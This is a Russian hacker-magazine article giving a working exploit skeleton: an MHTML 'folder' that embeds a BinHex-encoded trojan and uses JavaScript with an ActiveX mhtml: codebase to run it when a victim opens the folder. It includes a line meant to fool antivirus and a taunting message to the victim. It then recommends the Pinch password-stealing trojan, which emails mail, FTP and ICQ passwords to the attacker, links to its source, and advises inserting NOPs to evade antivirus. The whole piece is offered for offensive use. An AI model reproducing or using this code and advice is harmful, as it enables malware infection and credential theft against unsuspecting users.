Folder sploit: модный деструктив

Олег Толстых aka NSD

Xakep, номер #065, стр. 065-078-2

Смертельный JavaScript

Сам скрипт, запускающий вложенный троян, очень прост, и при этом крайне эффективен. У меня даже создалось впечатление, что этот баг является документированной возможностью ActiveX :). Вот так выглядит скелет скрипта:

Скелет содержимого хакерской «папки»

<html>

MIME-Version: 1.0

Content-Location:trojan.exe

Content-Transfer-Encoding: mac-binhex40

(This file must be converted with BinHex 4.0)

: На месте этого текста должен находиться закодированный кодировкой BinHex файл trojan.exe:

<body bgcolor=black scroll=no>

<SCRIPT>

// готовим функцию zoh (от слова ЗОХакать :))

function zoh(){

// присваиваем переменной z URL этого документа

z = document.URL;

// выделяем из URL’a адрес каталога, в котором лежит наша папка-эксплойт

p = z.substr(-0,z.lastIndexOf("\\"));

// заменяем шестнадцатеричные коды символов самими символами (например, «%20» заменятся пробелами)

p = unescape(p);

document.write( '<body scroll=no bgcolor=#FFFFFF>

// пишем пару ласковых слов жертве

Привет, директор буржуйского банка. Тебя только что протроянила редакция журнала ][ :). Ну а все претензии предъявляй к подонку b00b1ik’у – он во всем виноват.

// запускаем файл по адресу, который хранится в переменной “p”

<object classid="clsid:77777777-7777-7777-7777" codebase="mhtml:'+p+'\\1.folder!trojan.exe" width=1 height=1></object>');

}

// это для того чтобы обмануть AVP ;)

document.write('');

// запускаем наш ЗОХ :)

setTimeout("zoh()",0);

</script>

</html>

Как ты понял, этот код помещается в нашу ЗОХ-папку. Сразу после того как директор банка (или админ) ее откроет, у него запустится браузер IE (даже если на его компе установлена Опера), в котором как раз и исполнится зловредный скрипт. Сначала script вычислит абсолютный адрес собственного местонахождения, потом запустит троян, адрес которого складывается из только что вычисленного адреса и имени исполняемого файла трояна.

Выбор трояна

Существует огромное множество троянов. На каком троянском коне стоит остановить свой выбор? Как говорится, на вкус и цвет товарищей нет. Я не буду перечислять названия троянов, расскажу только про один. Многие хакеры юзают классный многофункциональный трой под названием Pinch, который собирает с компа все пароли от почты, ftp и аси, после чего высылает найденное добро на мыло хакера. Притом серверная часть весит всего 5-10 Кб. Полную версию (с сорцами и компилятором) для ознакомления можно слить отсюда: www.nsd.ru/soft.php?group=hacksoft&razdel=remote. AVP, конечно же, его видит, впрочем, как и все остальные public-трояны. Хакеры обычно немного модифицируют сорцы трояна в определенном месте, чтобы антивирь молчал как рыба. Но тему правки исходников мы сейчас поднимать не будем – этому можно посвятить целую статью. Так что если тебе надо спрятать трой от антивирусов – правь его сам. Достаточно вставить пару nop’ов в нужное место, и AVP перестанет замечать что-то подозрительное (кстати, модифицированная версия pinch’a успешно юзается в узком кругу).